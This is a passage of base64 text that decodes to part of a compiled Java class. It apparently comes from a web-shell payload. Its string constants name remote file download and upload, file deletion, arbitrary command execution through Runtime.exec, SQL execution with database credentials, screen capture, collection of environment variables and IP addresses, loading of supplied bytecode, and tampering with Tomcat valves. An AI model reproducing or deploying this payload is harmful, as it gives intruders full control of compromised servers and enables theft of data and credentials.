wMADwAPQoBTgFQBwFPAQAaamF2YS9pby9GaWx0ZXJPdXRwdXRTdHJlYW0MAOkAzAoBUgChBwFTAQAiamF2YS91dGlsL3ppcC9EZWZsYXRlck91dHB1dFN0cmVhbQgBVQEAFG91dHB1dFN0cmVhbSBpcyBudWxsAQAMcmV0dXJuU3RyaW5nAQAQZ3ppcE91dHB1dFN0cmVhbQEAIExqYXZhL3V0aWwvemlwL0daSVBPdXRwdXRTdHJlYW07CgABAVoMAVsBXAEAE2dldFNlc3Npb25BdHRyaWJ1dGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwoAAQFeDAFfAWABABNzZXRTZXNzaW9uQXR0cmlidXRlAQAnKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvT2JqZWN0OylWAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAMZ2V0Qnl0ZUFycmF5AQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEABHRlc3QIAWYBAAJvawEAB2dldEZpbGUIAWkBAAdkaXJOYW1lCgB1AWsMAWwAZQEABHRyaW0KAHUAKAcBbwEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIKAW4AKAcBcgEADGphdmEvaW8vRmlsZQoBcQBnCgFxAXUMAXYBdwEAD2dldEFic29sdXRlRmlsZQEAECgpTGphdmEvaW8vRmlsZTsKAW4BeQwBegF7AQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsIAX0BAAEvCgFuAX8MAXoBgAEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CgFuAIcKAXEBgwwBhAGFAQAGZXhpc3RzAQADKClaCgFxAYcMAYgBiQEACWxpc3RGaWxlcwEAESgpW0xqYXZhL2lvL0ZpbGU7CgB1AYsMAYwBjQEAB3ZhbHVlT2YBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwoBbgBnCAGQAQABCgoBcQGSDAGTAGUBAAdnZXROYW1lCAGVAQABCQoBcQGXDAGYAYUBAAtpc0RpcmVjdG9yeQgBmgEAATAIAZwBAAExBwGeAQAaamF2YS90ZXh0L1NpbXBsZURhdGVGb3JtYXQIAaABABN5eXl5LU1NLWRkIEhIOm1tOnNzCgGdAGcHAaMBAA5qYXZhL3V0aWwvRGF0ZQoBcQGlDAGmAacBAAxsYXN0TW9kaWZpZWQBAAMoKUoKAaIBqQwAJgGqAQAEKEopVgoBrAGuBwGtAQAUamF2YS90ZXh0L0RhdGVGb3JtYXQMATcBrwEAJChMamF2YS91dGlsL0RhdGU7KUxqYXZhL2xhbmcvU3RyaW5nOwoBcQGxDAGyAacBAAZsZW5ndGgKAbQBtgcBtQEAEWphdmEvbGFuZy9JbnRlZ2VyDACIAbcBABUoSSlMamF2YS9sYW5nL1N0cmluZzsKAXEBuQwBugGFAQAHY2FuUmVhZAgBvAEAAVIIAb4BAAAKAXEBwAwBwQGFAQAIY2FuV3JpdGUIAcMBAAFXCQABAcUMABcAEwgBxwEADGphdmEuaW8uRmlsZQgByQEACmNhbkV4ZWN1dGUKAXEBywwByQGFCAHNAQABWAoAdQHPDAGyANcIAdEBAAFGCAHTAQASZGlyIGRvZXMgbm90IGV4aXN0CAHVAQAcZGlyIGRvZXMgbm90IGV4aXN0IGVyck1zZzolcwgB1wEAFE5vIHBhcmFtZXRlciBkaXJOYW1lAQAGYnVmZmVyAQAEZmlsZQEADkxqYXZhL2lvL0ZpbGU7AQAKY3VycmVudERpcgEADmN1cnJlbnREaXJGaWxlAQAFZmlsZXMBAA9bTGphdmEvaW8vRmlsZTsBAAlmaWxlU3RhdGUBAAFpAQAMbGlzdEZpbGVSb290CgFxAeMMAeQBiQEACWxpc3RSb290cwoBcQHmDAHnAGUBAAdnZXRQYXRoCAHpAQABOwEADmZpbGVSZW1vdGVEb3duCAHsAQADdXJsCAHuAQAIc2F2ZUZpbGUHAfABAAxqYXZhL25ldC9VUkwKAe8AZwoB7wHzDAH0AfUBAApvcGVuU3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsHAfcBABhqYXZhL2lvL0ZpbGVPdXRwdXRTdHJlYW0KAfYAZwoB9gH6DADpAfsBAAcoW0JJSSlWCgH9ANwHAf4BABNqYXZhL2lvL0lucHV0U3RyZWFtCgIAAJ4HAgEBABRqYXZhL2lvL091dHB1dFN0cmVhbQoB9gChCgH9AKEIAgUBAAclcyA6ICVzCgBNAZIIAggBABd1cmwgb3Igc2F2ZUZpbGUgaXMgbnVsbAcCCgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpMamF2YS9pby9GaWxlT3V0cHV0U3RyZWFtOwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAB3JlYWROdW0BAAJlMQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAC3NldEZpbGVBdHRyCAISAQAEdHlwZQgCFAEABGF0dHIIAhYBAAhmaWxlTmFtZQgCGAEABE51bGwIAhoBAA1maWxlQmFzaWNBdHRyCgB1AIMIAh0BAAtzZXRXcml0YWJsZQkCHwIhBwIgAQARamF2YS9sYW5nL0Jvb2xlYW4MAiIAEwEABFRZUEUKAHUCJAwCJQImAQAHaW5kZXhPZgEAFShMamF2YS9sYW5nL1N0cmluZzspSQoBcQIoDAIpAioBAAtzZXRSZWFkYWJsZQEABChaKVoKAXECLAwCHQIqCgFxAi4MAi8CKgEADXNldEV4ZWN1dGFibGUIAjEBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuNggCMwEADGZpbGVUaW1lQXR0cggCNQEAD3NldExhc3RNb2RpZmllZAkCNwIhBwI4AQAOamF2YS9sYW5nL0xvbmcHAjoBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgoCOQAoCgI5Aj0MAXoCPgEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwoCOQHPCgJBAkMHAkIBABBqYXZhL3V0aWwvQXJyYXlzDAJEAkUBAARmaWxsAQAGKFtDQylWCgI5AkcMAXoCSAEAHShbQylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7CgGiAkoMAksBpwEAB2dldFRpbWUKAjkAhwoCNwJODAJPAlABAAlwYXJzZUxvbmcBABUoTGphdmEvbGFuZy9TdHJpbmc7KUoKAXECUgwCNQJTAQAEKEopWggCVQEAE2phdmEubmlvLmZpbGUuUGF0aHMIAlcBAC5qYXZhLm5pby5maWxlLmF0dHJpYnV0ZS5CYXNpY0ZpbGVBdHRyaWJ1dGVWaWV3CAJZAQATamF2YS5uaW8uZmlsZS5GaWxlcwoCWwJdBwJcAQATamF2YS9uaW8vZmlsZS9QYXRocwwAQgJeAQA7KExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbmlvL2ZpbGUvUGF0aDsJAAECYAwAGAATBwJiAQAYamF2YS9uaW8vZmlsZS9MaW5rT3B0aW9uCgJkAmYHAmUBABNqYXZhL25pby9maWxlL0ZpbGVzDAJnAmgBABRnZXRGaWxlQXR0cmlidXRlVmlldwEAbShMamF2YS9uaW8vZmlsZS9QYXRoO0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL25pby9maWxlL0xpbmtPcHRpb247KUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlQXR0cmlidXRlVmlldzsHAmoBAC5qYXZhL25pby9maWxlL2F0dHJpYnV0ZS9CYXNpY0ZpbGVBdHRyaWJ1dGVWaWV3CgJsAm4HAm0BACBqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZQwCbwJwAQAKZnJvbU1pbGxpcwEAJShKKUxqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTsLAmkCcgwCcwJ0AQAIc2V0VGltZXMBAGkoTGphdmEvbmlvL2ZpbGUvYXR0cmlidXRlL0ZpbGVUaW1lO0xqYXZhL25pby9maWxlL2F0dHJpYnV0ZS9GaWxlVGltZTtMamF2YS9uaW8vZmlsZS9hdHRyaWJ1dGUvRmlsZVRpbWU7KVYIAnYBAB1KYXZhIHZlcnNpb24gaXMgbGVzcyB0aGFuIDEuMggCeAEADW5vIEV4Y3V0ZVR5cGUIAnoBABNFeGNlcHRpb24gZXJyTXNnOiVzCAJ8AQAgdHlwZSBvciBhdHRyIG9yIGZpbGVOYW1lIGlzIG51bGwBAARkYXRlAQAQTGphdmEvdXRpbC9EYXRlOwEAB2J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQACY3MBAAduaW9GaWxlAQAbYmFzaWNGaWxlQXR0cmlidXRlVmlld0NsYXNzAQAKZmlsZXNDbGFzcwEADWF0dHJpYnV0ZVZpZXcBADBMamF2YS9uaW8vZmlsZS9hdHRyaWJ1dGUvQmFzaWNGaWxlQXR0cmlidXRlVmlldzsBAAhyZWFkRmlsZQoBcQKJDAKKAYUBAAZpc0ZpbGUHAowBABdqYXZhL2lvL0ZpbGVJbnB1dFN0cmVhbQoCiwKODAAmAo8BABEoTGphdmEvaW8vRmlsZTspVgoCiwDiCgKLAKEDADAAAAoCiwDcCgKVApcHApYBABBqYXZhL2xhbmcvU3lzdGVtDAKYApkBAAlhcnJheWNvcHkBACooTGphdmEvbGFuZy9PYmplY3Q7SUxqYXZhL2xhbmcvT2JqZWN0O0lJKVYIApsBABNmaWxlIGRvZXMgbm90IGV4aXN0CAKdAQAVTm8gcGFyYW1ldGVyIGZpbGVOYW1lAQAPZmlsZUlucHV0U3RyZWFtAQAZTGphdmEvaW8vRmlsZUlucHV0U3RyZWFtOwEAB3RlbURhdGEBAAdyZWFkTGVuAQAKdXBsb2FkRmlsZQgCpAEACWZpbGVWYWx1ZQoAAQKmDAFiAWMKAXECqAwCqQGFAQANY3JlYXRlTmV3RmlsZQoB9gKOCgH2AVAIAq0BACNObyBwYXJhbWV0ZXIgZmlsZU5hbWUgYW5kIGZpbGVWYWx1ZQEAEGZpbGVPdXRwdXRTdHJlYW0BAAduZXdGaWxlCAKxAQAEZmFpbAEABm5ld0RpcgoBcQK0DAK1AYUBAAZta2RpcnMBAApkZWxldGVGaWxlCgABArgMArkCjwEAC2RlbGV0ZUZpbGVzAQAIbW92ZUZpbGUIArwBAAtzcmNGaWxlTmFtZQgCvgEADGRlc3RGaWxlTmFtZQoBcQLADALBAsIBAAhyZW5hbWVUbwEAEShMamF2YS9pby9GaWxlOylaCALEAQAZVGhlIHRhcmdldCBkb2VzIG5vdCBleGlzdAgCxgEAJU5vIHBhcmFtZXRlciBzcmNGaWxlTmFtZSxkZXN0RmlsZU5hbWUBAAhjb3B5RmlsZQgCyQEAKlRoZSB0YXJnZXQgZG9lcyBub3QgZXhpc3Qgb3IgaXMgbm90IGEgZmlsZQEAB3NyY0ZpbGUBAAhkZXN0RmlsZQEAB2luY2x1ZGUIAs4BAAdiaW5Db2RlCALQAQAIY29kZU5hbWUKAE0C0gwC0wLUAQAOZ2V0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7CgABADIKAAEC1wwANQA2CALZAQAdTm8gcGFyYW1ldGVyIGJpbkNvZGUsY29kZU5hbWUBAAZtb2R1bGUBAAlrZXlTdHJpbmcIAt0BAAxzZXRBdHRyaWJ1dGUJAAEC3wwAGQATCALhAQAQamF2YS5sYW5nLk9iamVjdAEABXZhbHVlAQALZXhlY0NvbW1hbmQIAuUBAAlhcmdzQ291bnQHAucBABNqYXZhL3V0aWwvQXJyYXlMaXN0CgLmACgKAbQC6gwC6wImAQAIcGFyc2VJbnQIAu0BAAZhcmctJWQKAbQC7wwAJgDqCgLmAvEMAvIAhQEAA2FkZAoC5gL0DAL1ANcBAARzaXplCgLmAvcMAEIC+AEAFShJKUxqYXZhL2xhbmcvT2JqZWN0OwoC+gL8BwL7AQARamF2YS9sYW5nL1J1bnRpbWUMAv0C/gEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsKAuYDAAwDAQMCAQAHdG9BcnJheQEAKChbTGphdmEvbGFuZy9PYmplY3Q7KVtMamF2YS9sYW5nL09iamVjdDsHAwQBABNbTGphdmEvbGFuZy9TdHJpbmc7CgL6AwYMAwcDCAEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7CAMKAQANYXJnc0NvdW50IDw9MAgDDAEAF1VuYWJsZSB0byBzdGFydCBwcm9jZXNzCgMOAxAHAw8BABFqYXZhL2xhbmcvUHJvY2VzcwwDEQH1AQAOZ2V0SW5wdXRTdHJlYW0KAw4DEwwDFAH1AQAOZ2V0RXJyb3JTdHJlYW0KAJEC7woAkQH6CAMYAQAZTm8gcGFyYW1ldGVyIGFyZ3NDb3VudFN0cgEADGFyZ3NDb3VudFN0cgEAB3Byb2Nlc3MBABNMamF2YS9sYW5nL1Byb2Nlc3M7AQAIYXJnc0xpc3QBABVMamF2YS91dGlsL0FycmF5TGlzdDsBAAN2YWwBAAhjbWRhcnJheQEAEGVycm9ySW5wdXRTdHJlYW0BAAltZW1TdHJlYW0BAARidWZmAQANZ2V0QmFzaWNzSW5mbwoClQMlDAMmAycBAA1nZXRQcm9wZXJ0aWVzAQAYKClMamF2YS91dGlsL1Byb3BlcnRpZXM7CgMpAysHAyoBABNqYXZhL3V0aWwvSGFzaHRhYmxlDAMsAy0BAARrZXlzAQAZKClMamF2YS91dGlsL0VudW1lcmF0aW9uOwgDLwEAC0ZpbGVSb290IDogCgABAzEMAeEAZQgDMwEADUN1cnJlbnREaXIgOiAIAzUBAA5DdXJyZW50VXNlciA6IAgDNwEACXVzZXIubmFtZQoClQM5DAM6AEMBAAtnZXRQcm9wZXJ0eQgDPAEADlByb2Nlc3NBcmNoIDogCAM+AQATc3VuLmFyY2guZGF0YS5tb2RlbAgDQAEADmphdmEuaW8udG1wZGlyCgB1A0IMA0MDRAEABmNoYXJBdAEABChJKUMJAXEDRgwDRwCpAQAJc2VwYXJhdG9yCANJAQAQVGVtcERpcmVjdG9yeSA6IAgDSwEACkRvY0Jhc2UgOiAKAAEDTQwDTgBlAQAKZ2V0RG9jQmFzZQgDUAEAC1JlYWxGaWxlIDogCgABA1IMA1MAZQEAC2dldFJlYWxQYXRoCANVAQARc2VydmxldFJlcXVlc3QgOiAIA1cBAARudWxsCgBHA1kMA1oA1wEACGhhc2hDb2RlCgB1A1wMAYwBtwgDXgEAEXNlcnZsZXRDb250ZXh0IDogCANgAQAOaHR0cFNlc3Npb24gOiAIA2IBAAlPc0luZm8gOiAIA2QBACZvcy5uYW1lOiAlcyBvcy52ZXJzaW9uOiAlcyBvcy5hcmNoOiAlcwgDZgEAB29zLm5hbWUIA2gBAApvcy52ZXJzaW9uCANqAQAHb3MuYXJjaAgDbAEACUlQTGlzdCA6IAoAAQNuDANvAGUBAA5nZXRMb2NhbElQTGlzdAsDcQNzBwNyAQAVamF2YS91dGlsL0VudW1lcmF0aW9uDAN0AIEBAAtuZXh0RWxlbWVudAgDdgEAAyA6IAsDcQN4DAN5AYUBAA9oYXNNb3JlRWxlbWVudHMKAAEDewwDfAN9AQAGZ2V0RW52AQARKClMamF2YS91dGlsL01hcDsLA38DgQcDgAEADWphdmEvdXRpbC9NYXAMA4IDgwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7CwOFA4cHA4YBAA1qYXZhL3V0aWwvU2V0DAOIA4kBAAhpdGVyYXRvcgEAFigpTGphdmEvdXRpbC9JdGVyYXRvcjsLA4sDjQcDjAEAEmphdmEvdXRpbC9JdGVyYXRvcgwDjgCBAQAEbmV4dAsDfwB8CwOLA5EMA5IBhQEAB2hhc05leHQBABdMamF2YS91dGlsL0VudW1lcmF0aW9uOwEACmJhc2ljc0luZm8BAAZ0bXBkaXIBAAhsYXN0Q2hhcgEAAUMBAAZlbnZNYXABAA9MamF2YS91dGlsL01hcDsBABRMamF2YS91dGlsL0l0ZXJhdG9yOwEABnNjcmVlbgcDnQEADmphdmEvYXd0L1JvYm90CgOcACgHA6ABABJqYXZhL2F3dC9SZWN0YW5nbGUKA6IDpAcDowEAEGphdmEvYXd0L1Rvb2xraXQMA6UDpgEAEWdldERlZmF1bHRUb29sa2l0AQAUKClMamF2YS9hd3QvVG9vbGtpdDsKA6IDqAwDqQOqAQANZ2V0U2NyZWVuU2l6ZQEAFigpTGphdmEvYXd0L0RpbWVuc2lvbjsJA6wDrgcDrQEAEmphdmEvYXd0L0RpbWVuc2lvbgwDrwD8AQAFd2lkdGgJA6wDsQwDsgD8AQAGaGVpZ2h0CgOfA7QMACYDtQEABShJSSlWCgOcA7cMA7gDuQEAE2NyZWF0ZVNjcmVlbkNhcHR1cmUBADQoTGphdmEvYXd0L1JlY3RhbmdsZTspTGphdmEvYXd0L2ltYWdlL0J1ZmZlcmVkSW1hZ2U7CAO7AQADcG5nCgO9A78HA74BABVqYXZheC9pbWFnZWlvL0ltYWdlSU8MA8ADwQEAF2NyZWF0ZUltYWdlT3V0cHV0U3RyZWFtAQA8KExqYXZhL2xhbmcvT2JqZWN0OylMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07CgO9A8MMAOkDxAEAWyhMamF2YS9hd3QvaW1hZ2UvUmVuZGVyZWRJbWFnZTtMamF2YS9sYW5nL1N0cmluZztMamF2YXgvaW1hZ2Vpby9zdHJlYW0vSW1hZ2VPdXRwdXRTdHJlYW07KVoBAAVyb2JvdAEAEExqYXZhL2F3dC9Sb2JvdDsBAAJhcwEAHkxqYXZhL2F3dC9pbWFnZS9CdWZmZXJlZEltYWdlOwEAAmJzAQAHZXhlY1NxbAEACkV4Y2VwdGlvbnMIA80BAAlkYkNoYXJzZXQIA88BAAZkYlR5cGUIA9EBAAZkYkhvc3QIA9MBAAZkYlBvcnQIA9UBAApkYlVzZXJuYW1lCAPXAQAKZGJQYXNzd29yZAgD2QEACGV4ZWNUeXBlCAPKCgB1A9wMACYD3QEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWCAPfAQAsY29tLm1pY3Jvc29mdC5zcWxzZXJ2ZXIuamRiYy5TUUxTZXJ2ZXJEcml2ZXIIA+EBAB9vcmFjbGUuamRiYy5kcml2ZXIuT3JhY2xlRHJpdmVyCAPjAQAYb3JhY2xlLmpkYmMuT3JhY2xlRHJpdmVyCAPlAQAYY29tLm15c3FsLmNqLmpkYmMuRHJpdmVyCAPnAQAVY29tLm15c3FsLmpkYmMuRHJpdmVyCAPpAQAVb3JnLnBvc3RncmVzcWwuRHJpdmVyCAPrAQAPb3JnLnNxbGl0ZS5KREJDCAPtAQAFbXlzcWwIA+8BAA1qZGJjOm15c3FsOi8vCAPxAQABOggD8wEAdT91c2VTU0w9ZmFsc2Umc2VydmVyVGltZXpvbmU9VVRDJnplcm9EYXRlVGltZUJlaGF2aW9yPWNvbnZlcnRUb051bGwmbm9EYXRldGltZVN0cmluZ1N5bmM9dHJ1ZSZjaGFyYWN0ZXJFbmNvZGluZz11dGYtOAgD9QEABm9yYWNsZQgD9wEAEmpkYmM6b3JhY2xlOnRoaW46QAgD+QEABTpvcmNsCAP7AQAJc3Fsc2VydmVyCAP9AQARamRiYzpzcWxzZXJ2ZXI6Ly8IA/8BAApwb3N0Z3Jlc3FsCAQBAQASamRiYzpwb3N0Z3Jlc3FsOi8vCAQDAQAGc3FsaXRlCAQFAQAMamRiYzpzcWxpdGU6CAQHAQAFamRiYzoKAAEECQwECgQLAQANZ2V0Q29ubmVjdGlvbgEATShMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL0Nvbm5lY3Rpb247CgQNBAkHBA4BABZqYXZhL3NxbC9Ecml2ZXJNYW5hZ2VyCwQQBBIHBBEBABNqYXZhL3NxbC9Db25uZWN0aW9uDAQTBBQBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3NxbC9TdGF0ZW1lbnQ7CAQWAQAGc2VsZWN0CAQYAQADb2sKCwQaBBwHBBsBABJqYXZhL3NxbC9TdGF0ZW1lbnQMBB0EHgEADGV4ZWN1dGVRdWVyeQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL1Jlc3VsdFNldDsLBCAEIgcEIQEAEmphdmEvc3FsL1Jlc3VsdFNldAwEIwQkAQALZ2V0TWV0YURhdGEBAB4oKUxqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YTsLBCYEKAcEJwEAGmphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhDAQpANcBAA5nZXRDb2x1bW5Db3VudAgEKwEAAiVzCwQmBC0MBC4BtwEADWdldENvbHVtbk5hbWUKAAEEMAwEMQBDAQAMYmFzZTY0RW5jb2RlCwQgBDMMBDQBtwEACWdldFN0cmluZwsEIAQ2DAOOAYULBCAAoQsEGgChCwQQAKELBBoEOwwEPAImAQANZXhlY3V0ZVVwZGF0ZQgEPgEAClF1ZXJ5IE9LLCAKAW4EQAwBegRBAQAbKEkpTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CARDAQAOIHJvd3MgYWZmZWN0ZWQIBEUBAANubyAIBEcBAAcgRGJ0eXBlCARJAQBITm8gcGFyYW1ldGVyIGRiVHlwZSxkYkhvc3QsZGJQb3J0LGRiVXNlcm5hbWUsZGJQYXNzd29yZCxleGVjVHlwZSxleGVjU3FsAQAHY2hhcnNldAEACmNvbm5lY3RVcmwBAAZkYkNvbm4BABVMamF2YS9zcWwvQ29ubmVjdGlvbjsBAAlzdGF0ZW1lbnQBABRMamF2YS9zcWwvU3RhdGVtZW50OwEACXJlc3VsdFNldAEAFExqYXZhL3NxbC9SZXN1bHRTZXQ7AQAIbWV0YURhdGEBABxMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAJY29sdW1uTnVtAQALYWZmZWN0ZWROdW0IBFcBAAppbnZhbGlkYXRlAQANYmlnRmlsZVVwbG9hZAgEWgEADGZpbGVDb250ZW50cwgEXAEACHBvc2l0aW9uCgH2BF4MACYEXwEAFihMamF2YS9sYW5nL1N0cmluZztaKVYHBGEBABhqYXZhL2lvL1JhbmRvbUFjY2Vzc0ZpbGUIBGMBAAJydwoEYARlDAAmBGYBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KVYKBGAEaAwEaQGqAQAEc2VlawoEYAFQCgRgAKEBABpMamF2YS9pby9SYW5kb21BY2Nlc3NGaWxlOwEAD2JpZ0ZpbGVEb3dubG9hZAgEbwEABG1vZGUIBHEBAAtyZWFkQnl0ZU51bQgEcwEACGZpbGVTaXplCgB1BHUMAYwEdgEAFShKKUxqYXZhL2xhbmcvU3RyaW5nOwgA1goBtAR5DAGMBHoBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvSW50ZWdlcjsKAbQEfAwEfQDXAQAIaW50VmFsdWUKAosAZwoCiwSADASBBIIBAARza2lwAQAEKEopSgoAAQSEDASFBIYBAAZjb3B5T2YBAAcoW0JJKVtCCASIAQAHbm8gbW9kZQEAEXJlYWRCeXRlTnVtU3RyaW5nAQAOcG9zaXRpb25TdHJpbmcBAAhyZWFkRGF0YQoEjQSPBwSOAQAOamF2YS9sYW5nL01hdGgMBJAEkQEAA21pbgEABShJSSlJAQAIb3JpZ2luYWwBAAluZXdMZW5ndGgBAAthcnJheU9mQnl0ZQgElgEADGphdmEudmVyc2lvbgoAdQSYDASZBJoBAAlzdWJzdHJpbmcBABYoSUkpTGphdmEvbGFuZy9TdHJpbmc7CQABBJwMABoAEwgEngEAEGphdmEubGFuZy5TeXN0ZW0IBKABAAZnZXRlbnYJAAEEogwAGwATCASkAQANamF2YS51dGlsLk1hcAEACmpyZVZlcnNpb24JAAEEpwwAHAATCASpAQAWamF2YS5zcWwuRHJpdmVyTWFuYWdlcgoATQSrDASsBK0BABFnZXREZWNsYXJlZEZpZWxkcwEAHCgpW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsKBK8BkgcEsAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkCASyAQAGcml2ZXJzCQABBLQMAB0AEwgEtgEADmphdmEudXRpbC5MaXN0CgSvBLgMBLkASwEAB2dldFR5cGUKBLsEvQcEvAEAImphdmEvbGFuZy9yZWZsZWN0L0FjY2Vzc2libGVPYmplY3QMBL4EvwEADXNldEFjY2Vzc2libGUBAAQoWilWCgSvAHwHBMIBAA5qYXZhL3V0aWwvTGlzdAsEwQOHCQABBMUMAB4AEwgExwEAD2phdmEuc3FsLkRyaXZlcgcEyQEAD2phdmEvc3FsL0RyaXZlcgcEywEAFGphdmEvdXRpbC9Qcm9wZXJ0aWVzCgTKACgIBM4BAAR1c2VyCgMpALoIBNEBAAhwYXNzd29yZAsEyATTDATUBNUBAAdjb25uZWN0AQA/KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL3V0aWwvUHJvcGVydGllczspTGphdmEvc3FsL0Nvbm5lY3Rpb247AQAIdXNlck5hbWUBAApjb25uZWN0aW9uAQAGZmllbGRzAQAaW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAdkcml2ZXJzAQAQTGphdmEvdXRpbC9MaXN0OwEABmRyaXZlcgEAEUxqYXZhL3NxbC9Ecml2ZXI7AQALZHJpdmVySW5mb3MBAApwcm9wZXJ0aWVzAQAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzOwoE5ATmBwTlAQAZamF2YS9uZXQvTmV0d29ya0ludGVyZmFjZQwE5wMtAQAUZ2V0TmV0d29ya0ludGVyZmFjZXMKBOQE6QwE6gMtAQAQZ2V0SW5ldEFkZHJlc3NlcwcE7AEAFGphdmEvbmV0L0luZXRBZGRyZXNzCgTrBO4MBO8AZQEADmdldEhvc3RBZGRyZXNzCwTBAvELBMEE8gwDAQTzAQAVKClbTGphdmEvbGFuZy9PYmplY3Q7CgJBBPUMAIgE9gEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmlwTGlzdAEAEW5ldHdvcmtJbnRlcmZhY2VzAQAQbmV0d29ya0ludGVyZmFjZQEAG0xqYXZhL25ldC9OZXR3b3JrSW50ZXJmYWNlOwEADWluZXRBZGRyZXNzZXMBAAtpbmV0QWRkcmVzcwEAFkxqYXZhL25ldC9JbmV0QWRkcmVzczsBAAJpcAgDUwgFAQEAG25vIG1ldGhvZCBnZXRSZWFsUGF0aE1ldGhvZAgFAwEAFnNlcnZsZXRDb250ZXh0IGlzIE51bGwBABFnZXRSZWFsUGF0aE1ldGhvZAEACXJldE9iamVjdAoBcQUHDAUIAYUBAAZkZWxldGUBAAFmAQABeAEAAmZzAQBLKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwUOAQASW0xqYXZhL2xhbmcvQ2xhc3M7AQATW0xqYXZhL2xhbmcvT2JqZWN0OwEAB2NsYXNzZXMBAAJvMQEADnBhcmFtZXRlckNsYXNzCgBNBRQMBRUAUQEAEWdldERlY2xhcmVkTWV0aG9kCgBNBRcMBRgASwEADWdldFN1cGVyY2xhc3MBAA1nZXRGaWVsZFZhbHVlAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsKAE0FHAwFHQUeAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEACWZpZWxkTmFtZQgFIQEAB2NvbnRleHQKAAEFIwwFGQUaCAUlAQAJZ2V0UGFyZW50CgABBScMAG8FDAgFKQEAC2dldFBpcGVsaW5lCAUrAQAIZ2V0Rmlyc3QIBS0BAAxnZXRDb25kaXRpb24IBS8BAAxzZXRDb25kaXRpb24IBTEBAAdGdWNrTG9nCAUzAQAHZ2V0TmV4dAgFNQEAGW9yZy5hcGFjaGUuY2F0YWxpbmEuVmFsdmUKAE0FNwwAXAU4AQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwEAEmFwcGxpY2F0aW9uQ29udGV4dAEACWNvbnRhaW5lcgEACWFycmF5TGlzdAEACHBpcGVsaW5lAQAFdmFsdmUBAAljb25kaXRpb24BABJzZXRBdHRyaWJ1dGVNZXRob2QBAARuYW1lAQAFYnl0ZXMKAAEFQwwEMQVEAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAA3NyYwEAA29mZgEAA2VuZAEAA2RzdAEAB2xpbmVtYXgBAAlkb1BhZGRpbmcBAAZiYXNlNjQBAAJzcAEABHNsZW4BAAJzbAEAAmRwAQADc2wwAQADc3AwAQADZHAwAQAEYml0cwEABGRsZW4BAAJiMAEAAmIxAQAMYmFzZTY0RGVjb2RlCgJBBVkMAkQFWgEABihbSUkpVgcFXAEAImphdmEvbGFuZy9JbGxlZ2FsQXJndW1lbnRFeGNlcHRpb24IBV4BAC1JbnB1dCBieXRlIGFycmF5IGhhcyB3cm9uZyA0LWJ5dGUgZW5kaW5nIHVuaXQKBVsAZwgFYQEAKUxhc3QgdW5pdCBkb2VzI